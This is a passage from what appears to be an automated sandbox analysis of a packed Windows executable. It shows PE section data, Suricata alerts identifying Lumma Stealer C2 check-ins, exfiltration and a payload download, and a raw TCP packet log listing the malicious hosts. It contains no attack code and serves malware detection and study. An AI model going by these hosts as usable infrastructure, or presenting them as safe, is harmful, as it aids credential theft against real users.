	0x1000	0x5a000	0x27800	da5c36c3f0e9cc078211a2d4cbff1da5	False	0.9981086827531646	data	7.980441447474211	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x5b000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x5c000	0x1000	0x200	6821e858ec0b8e7e2533a33c0c061d34	False	0.15625	data	1.1194718105633323	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x5d000	0x2ab000	0x200	be9d2894866326aa3815deb2c9879646	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
mdltnzwz	0x308000	0x1a2000	0x1a1400	a095de84f3ddad1d861e7d8356c8f985	False	0.9946046238391252	data	7.953160284976757	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
bnbpmthl	0x4aa000	0x1000	0x600	fbb664fa8aed8e4bf01a8dafc23bb4e5	False	0.63671875	data	5.443566504873362	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x4ab000	0x3000	0x2200	e3ddcbfbc5b44d46f5bbd3a6ddbdb026	False	0.055951286764705885	DOS executable (COM)	0.7344558529266295	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-16T04:33:04.400199+0100	2057396	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (frogmen-smell .sbs)	1	192.168.2.4	50800	1.1.1.1	53	UDP
2024-11-16T04:33:05.080752+0100	2057397	ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI)	1	192.168.2.4	49730	104.21.80.55	443	TCP
2024-11-16T04:33:05.080752+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49730	104.21.80.55	443	TCP
2024-11-16T04:33:05.771940+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49730	104.21.80.55	443	TCP
2024-11-16T04:33:05.771940+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49730	104.21.80.55	443	TCP
2024-11-16T04:33:06.441720+0100	2057397	ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI)	1	192.168.2.4	49731	104.21.80.55	443	TCP
2024-11-16T04:33:06.441720+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49731	104.21.80.55	443	TCP
2024-11-16T04:33:06.973677+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49731	104.21.80.55	443	TCP
2024-11-16T04:33:06.973677+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49731	104.21.80.55	443	TCP
2024-11-16T04:33:07.846641+0100	2057397	ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI)	1	192.168.2.4	49732	104.21.80.55	443	TCP
2024-11-16T04:33:07.846641+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49732	104.21.80.55	443	TCP
2024-11-16T04:33:09.411799+0100	2057397	ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI)	1	192.168.2.4	49733	104.21.80.55	443	TCP
2024-11-16T04:33:09.411799+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49733	104.21.80.55	443	TCP
2024-11-16T04:33:10.900501+0100	2057397	ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI)	1	192.168.2.4	49734	104.21.80.55	443	TCP
2024-11-16T04:33:10.900501+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49734	104.21.80.55	443	TCP
2024-11-16T04:33:12.598170+0100	2057397	ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI)	1	192.168.2.4	49735	104.21.80.55	443	TCP
2024-11-16T04:33:12.598170+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49735	104.21.80.55	443	TCP
2024-11-16T04:33:13.358469+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	49735	104.21.80.55	443	TCP
2024-11-16T04:33:14.441747+0100	2057397	ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI)	1	192.168.2.4	49736	104.21.80.55	443	TCP
2024-11-16T04:33:14.441747+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49736	104.21.80.55	443	TCP
2024-11-16T04:33:14.446145+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.4	49736	104.21.80.55	443	TCP
2024-11-16T04:33:21.341916+0100	2057397	ET MALWARE Observed Win32/Lumma Stealer Related Domain (frogmen-smell .sbs in TLS SNI)	1	192.168.2.4	49739	104.21.80.55	443	TCP
2024-11-16T04:33:21.341916+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49739	104.21.80.55	443	TCP
2024-11-16T04:33:22.037729+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49739	104.21.80.55	443	TCP
2024-11-16T04:33:22.948362+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.4	49742	185.215.113.16	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 16, 2024 04:33:04.444389105 CET	49730	443	192.168.2.4	104.21.80.55
Nov 16, 2024 04:33:04.444479942 CET	443	49730	104.21.80.55	192.168.2.4
Nov 16, 2024 04:33:04.444581985 CET	49730	443	192.168.2.4	104.21.80.55
Nov 16, 2024 04:33:04.447303057 CET	49730	443	192.168.2.4	104.21.80.55
Nov 16, 2024 04:33:04.447360992 CET	443	49730	104.21.80.55	192.168.2.4
Nov 16, 2024 04:33:05.080641031 CET	443	49730	104.21.80.55	192.168.2.4
Nov 16, 2024 04:33:05.080751896 CET	49730	443	192.168.2.4	104.21.80.55
Nov 16, 2024 04:33:05.083641052 CET	49730	443	192.168.2.4	104.21.80.55
Nov 16, 2024 04:33:05.083669901 CET	443	49730	104.21.80.55	192.168.2.4
Nov 16, 2024 04:33:05.084095001 CET	443	49730	104.21.80.55	192.168.2.4
Nov 16, 2024 04:33:05.124094009 CET	49730	443	192.168.2.4	104.21.80.55
Nov 16, 2024 04:33:05.245718956 CET	49730	443	192.168.2.4	104.21.80.55
Nov 16, 2024 04:33:05.245789051 CET	49730	443	192.168.2.4	104.21.80.55
Nov 16, 2024 04:33:05.246049881 CET	443	49730	104.21.80.55	192.168.2.4
Nov 16, 2024 04:33:05.771919966 CET	443	49730	104.21.80.55	192.168.2.4
Nov 16, 2024 04:33:05.772173882 CET	443	49730	104.21.80.55	192.168.2.4
Nov 16, 2024 04:33:05.772249937 CET	49730	443	192.168.2.4	104.21.80.55
Nov 16, 2024 04:33:05.773634911 CET	49730	443	192.168.2.4	104.21.80.55
Nov 16, 2024 04:33:05.773684978 CET	443	49730	104.21.80.55	192.168.2.4
Nov 16, 2024 04:33:05.773714066 CET	49730	443	192.168.2.4	104.21.80.55
Nov 16, 2024 04:33:05.773730040 CET	443	49730	104.21.80.55	192.168.2.4
Nov 16, 2024 04:33:05.834840059 CET	49731	443	192.168.2.4	104.21.80.55
Nov 16, 2024 04:33:05.834933996 CET	443	49731	104.21.80.55	192.168.2.4
Nov 16, 2024 04:33:05.835019112 CET	49731	443	192.168.2.4	104.21.80.55
Nov 16, 2024 04:33:05.836324930 CET	49731	443	192.168.2.4	104.21.80.55
Nov 16, 2024 04:33:05.836361885 CET	443	49731	104.21.80.55	192.168.2.4
Nov 16, 2024 04:33:06.441617012 CET	443	49731	104.21.80.55	192.168.2.4
Nov 16, 2024 04:33:06.441720009 CET	49731	443	192.168.2.4	104.21.80.55
Nov 16, 2024 04:33:06.442925930 CET	49731	443	192.168.2.4	104.21.80.55
Nov 16, 2024 04:33:06.442954063 CET	443	49731	104.21.80.55	192.168.2.4
Nov 16, 2024 04:33:06.443530083 CET	443	49731	104.21.80.55	192.168.2.4
Nov 16, 2024 04:33:06.444850922 CET	49731	443	192.168.2.4	104.21.80.55
Nov 16, 2024 04:33:06.444906950 CET	49731	443	192.168.2.4	104.21.80.55
Nov 16, 2024 04:33:06.444951057 CET	443	49731	104.21.80.55	192.168.2.4
Nov 16, 2024 04:33:06.973706961 CET	443	49731	104.21.80.55	192.168.2.4
Nov 16, 2024 04:33:06.973823071 CET	443	49731	104.21.80.55	192.168.2.4
Nov 16, 2024 04:33:06.973903894 CET	443	49731	104.21.80.55	192.168.2.4
Nov 16, 2024 04:33:06.973967075 CET	49731	443	192.168.2.4	104.21.80.55
Nov 16, 2024 04:33:06.974030972 CET	443	49731	104.21.80.55	192.168.2.4
Nov 16, 2024 04:33:06.974087000 CET	49731	443	192.168.2.4	104.21.80.55
Nov 16, 2024 04:33:06.974103928 CET	443	49731	104.21.80.55	192.168.2.4
Nov 16, 2024 04:33:07.014727116 CET	49731	443	192.168.2.4	104.21.80.55
Nov 16, 2024 04:33:07.120240927 CET	443	49731	104.21.80.55	192.168.2.4
Nov 16, 2024 04:33:07.120398998 CET	443	49731	104.21.80.55	192.168.2.4
Nov 16, 2024 04:33:07.120503902 CET	443	49731	104.21.80.55	192.168.2.4
Nov 16, 2024 04:33:07.120527983 CET	49731	443	192.168.2.4	104.21.80.55
Nov 16, 2024 04:33:07.120592117 CET	443	49731	104.21.80.55	192.168.2.4
Nov 16, 2024 04:33:07.120666981 CET	49731	443	192.168.2.4	104.21.80.55
Nov 16, 2024 04:33:07.120685101 CET	443	49731	104.21.80.55	192.168.2.4
Nov 16, 2024 04:33:07.120805025 CET	443	49731	104.21.80.55	192.168.2.4
Nov 16, 2024 04:33:07.120933056 CET	443	49731	104.21.80.55	192.168.2.4
Nov 16, 2024 04:33:07.120978117 CET	49731	443	192.168.2.4	104.21.80.55
Nov 16, 2024 04:33:07.121043921 CET	443	49731	104.21.80.55	192.168.2.4
Nov 16, 2024 04:33:07.121120930 CET	49731	443	192.168.2.4	104.21.80.55
Nov 16, 2024 04:33:07.121139050 CET	443	49731	104.21.80.55	192.168.2.4
Nov 16, 2024 04:33:07.121438980 CET	443	49731	104.21.80.55	192.168.2.4
Nov 16, 2024 04:33:07.121512890 CET	49731	443	192.168.2.4	104.21.80.55
Nov 16, 2024 04:33:07.121573925 CET	49731	443	192.168.2.4	104.21.80.55
Nov 16, 2024 04:33:07.121603966 CET	443	49731	104.21.80.55	192.168.2.4
Nov 16, 2024 04:33:07.121633053 CET	49731	443	192.168.2.4	104.21.80.55
Nov 16, 2024 04:33:07.121646881 CET	443	49731	104.21.80.55	192.168.2.4
Nov 16, 2024 04:33:07.235630989 CET	49732	443	192.168.2.4	104.21.80.55
Nov 16, 2024 04:33:07.235680103 CET	443	49732	104.21.80.55	192.168.2.4
Nov 16, 2024 04:33:07.235904932 CET	49732	443	192.168.2.4	104.21.80.55
Nov 16, 2024 04:33:07.236140013 CET	49732	443	192.168.2.4	104.21.80.55
Nov 16, 2024 04:33:07.236170053 CET	443	49732	104.21.80.55	192.168.2.4
Nov 16, 2024 04:33:07.846379995 CET	443	49732	104.21.80.55	192.168.2.4
Nov 16, 2024 04:33:07.846641064 CET	49732	443	192.168.2.4	104.21.80.55
Nov 16, 2024 04:33:07.871668100 CET	49732	443	192.168.2.4	104.21.80.55
Nov 16, 2024 04:33:07.871706009 CET	443	49732	104.21.80.55	192.168.2.4
Nov 16, 2024 04:33:07.872172117 CET	443	49732	104.21.80.55	192.168.2.4
Nov 16, 2024 04:33:07.882307053 CET	49732	443	192.168.2.4	104.21.80.55
Nov 16, 2024 04:33:07.882308006 CET	49732	443	192.168.2.4	104.21.80.55
Nov 16, 2024 04:33:07.882364988 CET	49732	443	192.168.2.4	104.21.80.55
Nov 16, 2024 04:33:07.882493973 CET	443	49732	104.21.80.55	192.168.2.4
Nov 16, 2024 04:33:07.882699013 CET	49732	443	192.168.2.4	104.21.80.55
Nov 16, 2024 04:33:07.882728100 CET	443	49732	104.21.80.55	192.168.2.4
Nov 16, 2024 04:33:08.677123070 CET	443	49732	104.21.80.55	192.168.2.4
Nov 16, 2024 04:33:08.677364111 CET	443	49732	104.21.80.55	192.168.2.4
Nov 16, 2024 04:33:08.677596092 CET	49732	443	192.168.2.4	104.21.80.55
Nov 16, 2024 04:33:08.677597046 CET	49732	443	192.168.2.4	104.21.80.55
Nov 16, 2024 04:33:08.788769007 CET	49733	443	192.168.2.4	104.21.80.55
Nov 16, 2024 04:33:08.788873911 CET	443	49733	104.21.80.55	192.168.2.4
Nov 16, 2024 04:33:08.789154053 CET	49733	443	192.168.2.4	104.21.80.55
Nov 16, 2024 04:33:08.789266109 CET	49733	443	192.168.2.4	104.21.80.55
Nov 16, 2024 04:33:08.789294958 CET	443	49733	104.21.80.55	192.168.2.4
Nov 16, 2024 04:33:09.411627054 CET	443	49733	104.21.80.55	192.168.2.4
Nov 16, 2024 04:33:09.411798954 CET	49733	443	192.168.2.4	104.21.80.55
Nov 16, 2024 04:33:09.412949085 CET	49733	443	192.168.2.4	104.21.80.55
Nov 16, 2024 04:33:09.412982941 CET	443	49733	104.21.80.55	192.168.2.4
Nov 16, 2024 04:33:09.413491964 CET	443	49733	104.21.80.55	192.168.2.4
Nov 16, 2024 04:33:09.414660931 CET	49733	443	192.168.2.4	104.21.80.55
Nov 16, 2024 04:33:09.414809942 CET	49733	443	192.168.2.4	104.21.80.55
Nov 16, 2024 04:33:09.414886951 CET	443	49733	104.21.80.55	192.168.2.4
Nov 16, 2024 04:33:10.082881927 CET	443	49733	104.21.80.55	192.168.2.4
Nov 16, 2024 04:33:10.083106995 CET	443	49733	104.21.80.55	192.168.2.4
Nov 16, 2024 04:33:10.083134890 CET	49733	443	192.168.2.4	104.21.80.55
Nov 16, 2024 04:33:10.083210945 CET	49733	443	192.168.2.4	104.21.80.55
Nov 16, 2024 04:33:10.287090063 CET	49734	443	192.168.2.4	104.21.80.55
Nov 16, 2024 04:33:10.287137032 CET	443	49734	104.21.80.55	192.168.2.4
Nov 16, 2024 04:33:10.287215948 CET	49734	443	192.168.2.4	104.21.80.55
Nov 16, 2024 04:33:10.287477016 CET	49734	443	192.168.2.4	104.21.80.55
Nov 16, 2024 04:33:10.287488937 CET	443	49734	104.21.80.55	192.168.2.4
Nov 16, 2024 04:33:10.900402069 CET	443	49734	104.21.80.55	192.168.2.4
Nov 16, 2024 04:33:10.900501013 CET	49734	443	192.168.2.4	104.21.80.55
Nov 16, 2024 04:33:10.901640892 CET	49734	443	192.168.2.4	104.21.80.55
Nov 16, 2024 04:33:10.901654959 CET	443	49734	104.21.80.55	192.168.2.4
Nov 16, 2024 04:33:10.902034044 CET	443	49734	104.21.80.55	192.168.2.4
Nov 16, 2024 04:33:10.903136015 CET	49734	443	192.168.2.4	104.21.80.55
Nov 16, 2024 04:33:10.903280020 CET	49734	443	192.168.2.4	104.21.80.55
Nov 16, 2024 04:33:10.903323889 CET	443	49734	104.21.80.55	192.168.2.4
Nov 16, 2024 04:33:10.903386116 CET	49734	443	192.168.2.4	104.21.80.55
Nov 16, 2024 04:33:10.903394938 CET	443	49734	104.21.80.55	192.168.2.4
Nov 16, 2024 04:33:11.608902931 CET	443	49734	104.21.80.55	192.168.2.4
Nov 16, 2024 04:33:11.609226942 CET	443	49734	104.21.80.55	192.168.2.4
Nov 16, 2024 04:33:11.609292030 CET	49734	443	192.168.2.4	104.21.80.55
Nov 16, 2024 04:33:11.609292030 CET	49734	443	192.168.2.4	104.21.80.55
Nov 16, 2024 04:33:11.987397909 CET	49735	443	192.168.2.4	104.21.80.55
Nov 16, 2024 04:33:11.987504005 CET	443	49735	104.21.80.55	192.168.2.4
Nov 16, 2024 04:33:11.987596989 CET	49735	443	192.168.2.4	104.21.80.55
Nov 16, 2024 04:33:11.987869978 CET	49735	443	192.168.2.4	104.21.80.55
Nov 16, 2024 04:33:11.987898111 CET	443	49735	104.21.80.55	192.168.2.4
Nov 16, 2024 04:33:12.597955942 CET	443	49735	104.21.80.55	192.168.2.4
Nov 16, 2024 04:33:12.598170042 CET	49735	443	192.168.2.4	104.21.80.55
Nov 16, 2024 04:33:12.599271059 CET	49735	443	192.168.2.4	104.21.80.55
Nov 16, 2024 04:33:12.599302053 CET	443	49735	104.21.80.55	192.168.2.4
Nov 16, 2024 04:33:12.600311041 CET	443	49735	104.21.80.55	192.168.2.4
Nov 16, 2024 04:33:12.601871014 CET	49735	443	192.168.2.4	104.21.80.55
Nov 16, 2024 04:33:12.601973057 CET	49735	443	192.168.2.4	104.21.80.55
Nov 16, 2024 04:33:12.601984978 CET	443	49735	104.21.80.55	192.168.2.4
Nov 16, 2024 04:33:13.358495951 CET	443	49735	104.21.80.55	192.168.2.4
Nov 16, 2024 04:33:13.358731985 CET	443	49735	104.21.80.55	192.168.2.4
Nov 16, 2024 04:33:13.358910084 CET	49735	443	192.168.2.4	104.21.80.55
Nov 16, 2024 04:33:13.358910084 CET	49735	443	192.168.2.4	104.21.80.55
Nov 16, 2024 04:33:13.813133001 CET	49736	443	192.168.2.4	104.21.80.55
Nov 16, 2024 04:33:13.813180923 CET	443	49736	104.21.80.55	192.168.2.4
Nov 16, 2024 04:33:13.813482046 CET	49736	443	192.168.2.4	104.21.80.55
Nov 16, 2024 04:33:13.813618898 CET	49736	443	192.168.2.4	104.21.80.55
Nov 16, 2024 04:33:13.813633919 CET	443	49736	104.21.80.55	192.168.2.4
Nov 16, 2024 04:33:14.441562891 CET	443	49736	104.21.80.55	192.168.2.4
Nov 16, 2024 04:33:14.441746950 CET	49736	443	192.168.2.4	104.21.80.55
Nov 16, 2024 04:33:14.442890882 CET	49736	443	192.168.2.4	104.21.80.55
Nov 16, 2024 04:33:14.442918062 CET	443	49736	104.21.80.55	192.168.2.4
Nov 16, 2024 04:33:14.443432093 CET	443	49736	104.21.80.55	192.168.2.4
Nov 16, 2024 04:33:14.444670916 CET	49736	443	192.168.2.4	104.21.80.55
Nov 16, 2024 04:33:14.445446014 CET	49736	443	192.168.2.4	104.21.80.55
Nov 16, 2024 04:33:14.445486069 CET	443	49736	104.21.80.55	192.168.2.4
Nov 16, 2024 04:33:14.445614100 CET	49736	443	192.168.2.4	104.21.80.55
Nov 16, 2024 04:33:14.445655107 CET	443	49736	104.21.80.55	192.168.2.4
Nov 16, 2024 04:33:14.445842028 CET	49736	443	192.168.2.4	104.21.80.55
Nov 16, 2024 04:33:14.445894957 CET	443	49736	104.21.80.55	192.168.2.4
Nov 16, 2024 04:33:14.446058989 CET	49736	443	192.168.2.4	104.21.80.55
Nov 16, 2024 04:33:14.446109056 CET	443	49736	104.21.80.55	192.168.2.4
Nov 16, 2024 04:33:14.446290016 CET	49736	443	192.168.2.4	104.21.80.55
Nov 16, 2024 04:33:14.446346045 CET	443	49736	104.21.80.55	192.168.2.4
Nov 16, 2024 04:33:14.446543932 CET	49736	443	192.168.2.4	104.21.80.55
Nov 16, 2024 04:33:14.446593046 CET	443	49736	104.21.80.55	192.168.2.4
Nov 16, 2024 04:33:14.446609020 CET	49736	443	192.168.2.4	104.21.80.55
Nov 16, 2024 04:33:14.446624041 CET	443	49736	104.21.80.55	192.168.2.4
Nov 16, 2024 04:33:14.446767092 CET	49736	443	192.168.2.4	104.21.80.55
Nov 16, 2024 04:33:14.446799040 CET	443	49736	104.21.80.55	192.168.2.4
Nov 16, 2024 04:33:14.446825981 CET	49736	443	192.168.2.4	104.21.80.55
Nov 16, 2024 04:33:14.446976900 CET	49736	443	192.168.2.4	104.21.80.55
Nov 16, 2024 04:33:14.447026014 CET	49736	443	192.168.2.4	104.21.80.55
Nov 16, 2024 04:33:14.456293106 CET	443	49736	104.21.80.55	192.168.2.4
Nov 16, 2024 04:33:14.456499100 CET	49736	443	192.168.2.4	104.21.80.55
Nov 16, 2024 04:33:14.456583023 CET	49736	443	192.168.2.4	104.21.80.55
Nov 16, 2024 04:33:14.456612110 CET	443	49736	104.21.80.55	192.168.2.4
Nov 16, 2024 04:33:14.456629992 CET	49736	443	192.168.2.4	104.21.80.55
Nov 16, 2024 04:33:14.456643105 CET	443	49736	104.21.80.55	192.168.2.4
Nov 16, 2024 04:33:14.456706047 CET	443	49736	104.21.80.55	192.168.2.4
Nov 16, 2024 04:33:14.456711054 CET	49736	443	192.168.2.4	104.21.80.55
Nov 16, 2024 04:33:14.461306095 CET	443	49736	104.21.80.55	192.168.2.4
Nov 16, 2024 04:33:19.533075094 CET	49737	443	192.168.2.4	20.12.23.50
Nov 16, 2024 04:33:19.533152103 CET	443	49737	20.12.23.50	192.168.2.4
Nov 16, 2024 04:33:19.533260107 CET	49737	443	192.168.2.4	20.12.23.50
Nov 16, 2024 04:33:19.534946918 CET	49737	443	192.168.2.4	20.12.23.50
Nov 16, 2024 04:33:19.534980059 CET	443	49737	20.12.23.50	192.168.2.4
Nov 16, 2024 04:33:20.390569925 CET	443	49737	20.12.23.50	192.168.2.4
Nov 16, 2024 04:33:20.390758038 CET	49737	443	192.168.2.4	20.12.23.50
Nov 16, 2024 04:33:20.393558979 CET	49737	443	192.168.2.4	20.12.23.50
Nov 16, 2024 04:33:20.393589020 CET	443	49737	20.12.23.50	192.168.2.4
Nov 16, 2024 04:33:20.394109964 CET	443	49737	20.12.23.50	192.168.2.4
Nov 16, 2024 04:33:20.436650991 CET	49737	443	192.168.2.4	20.12.23.50
Nov 16, 2024 04:33:20.657429934 CET	443	49736	104.21.80.55	192.168.2.4
Nov 16, 2024 04:33:20.657691002 CET	443	49736	104.21.80.55	192.168.2.4
Nov 16, 2024 04:33:20.657778978 CET	49736	443	192.168.2.4	104.21.80.55
Nov 16, 2024 04:33:20.657974005 CET	49736	443	192.168.2.4	104.21.80.55
Nov 16, 2024 04:33:20.657994032 CET	443	49736	104.21.80.55	192.168.2.4
Nov 16, 2024 04:33:20.695353985 CET	49739	443	192.168.2.4	104.21.80.55
Nov 16, 2024 04:33:20.695414066 CET	443	49739	104.21.80.55	192.168.2.4
Nov 16, 2024 04:33:20.695591927 CET	49739	443	192.168.2.4	104.21.80.55
Nov 16, 2024 04:33:20.696057081 CET	49739	443	192.168.2.4	104.21.80.55
Nov 16, 2024 04:33:20.696084023 CET	443	49739	104.21.80.55	192.168.2.4
Nov 16, 2024 04:33:21.093970060 CET	49737	443	192.168.2.4	20.12.23.50
Nov 16, 2024 04:33:21.139353037 CET	443	49737	20.12.23.50	192.168.2.4
Nov 16, 2024 04:33:21.341845036 CET	443	49739	104.21.80.55	192.168.2.4
Nov 16, 2024 04:33:21.341916084 CET	49739	443	192.168.2.4	104.21.80.55
Nov 16, 2024 04:33:21.343209028 CET	49739	443	192.168.2.4	104.21.80.55
Nov 16, 2024 04:33:21.343226910 CET	443	49739	104.21.80.55	192.168.2.4
Nov 16, 2024 04:33:21.343689919 CET	443	49739	104.21.80.55	192.168.2.4
Nov 16, 2024 04:33:21.344852924 CET	49739	443	192.168.2.4	104.21.80.55
Nov 16, 2024 04:33:21.344854116 CET	49739	443	192.168.2.4	104.21.80.55
Nov 16, 2024 04:33:21.344944000 CET	443	49739	104.21.80.55	192.168.2.4
Nov 16, 2024 04:33:21.372571945 CET	443	49737	20.12.23.50	192.168.2.4
Nov 16, 2024 04:33:21.372622967 CET	443	49737	20.12.23.50	192.168.2.4
Nov 16, 2024 04:33:21.372649908 CET	443	49737	20.12.23.50	192.168.2.4
Nov 16, 2024 04:33:21.372688055 CET	49737	443	192.168.2.4	20.12.23.50
Nov 16, 2024 04:33:21.372689962 CET	443	49737	20.12.23.50	192.168.2.4
Nov 16, 2024 04:33:21.372719049 CET	443	49737	20.12.23.50	192.168.2.4
Nov 16, 2024 04:33:21.372765064 CET	49737	443	192.168.2.4	20.12.23.50
Nov 16, 2024 04:33:21.372775078 CET	443	49737	20.12.23.50	192.168.2.4
Nov 16, 2024 04:33:21.372801065 CET	49737	443	192.168.2.4	20.12.23.50
Nov 16, 2024 04:33:21.372824907 CET	49737	443	192.168.2.4	20.12.23.50
Nov 16, 2024 04:33:21.372939110 CET	443	49737	20.12.23.50	192.168.2.4
Nov 16, 2024 04:33:21.373003960 CET	49737	443	192.168.2.4	20.12.23.50
Nov 16, 2024 04:33:21.373023987 CET	443	49737	20.12.23.50	192.168.2.4
Nov 16, 2024 04:33:21.373142958 CET	443	49737	20.12.23.50	192.168.2.4
Nov 16, 2024 04:33:21.375425100 CET	49737	443	192.168.2.4	20.12.23.50
Nov 16, 2024 04:33:22.008841038 CET	49737	443	192.168.2.4	20.12.23.50
Nov 16, 2024 04:33:22.008865118 CET	443	49737	20.12.23.50	192.168.2.4
Nov 16, 2024 04:33:22.037784100 CET	443	49739	104.21.80.55	192.168.2.4
Nov 16, 2024 04:33:22.038002968 CET	443	49739	104.21.80.55	192.168.2.4
Nov 16, 2024 04:33:22.038075924 CET	49739	443	192.168.2.4	104.21.80.55
Nov 16, 2024 04:33:22.040802002 CET	49739	443	192.168.2.4	104.21.80.55
Nov 16, 2024 04:33:22.040802002 CET	49739	443	192.168.2.4	104.21.80.55
Nov 16, 2024 04:33:22.040822983 CET	443	49739	104.21.80.55	192.168.2.4
Nov 16, 2024 04:33:22.040832043 CET	443	49739	104.21.80.55	192.168.2.4
Nov 16, 2024 04:33:22.042627096 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:22.047517061 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:22.047621012 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:22.047794104 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:22.052617073 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:22.948121071 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:22.948189974 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:22.948226929 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:22.948260069 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:22.948293924 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:22.948323011 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:22.948358059 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:22.948362112 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:22.948385000 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:22.948395014 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:22.948430061 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:22.948465109 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:22.948596954 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:22.948718071 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:22.953393936 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:22.953428984 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:22.953464985 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:22.953598022 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:22.999128103 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:23.103384018 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.103866100 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.104068995 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:23.104944944 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.114453077 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.114470959 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.114487886 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.114504099 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.114520073 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.114533901 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.114548922 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.114564896 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.114578962 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:23.114594936 CET	80	49742	185.215.113.16	192.168.2.4
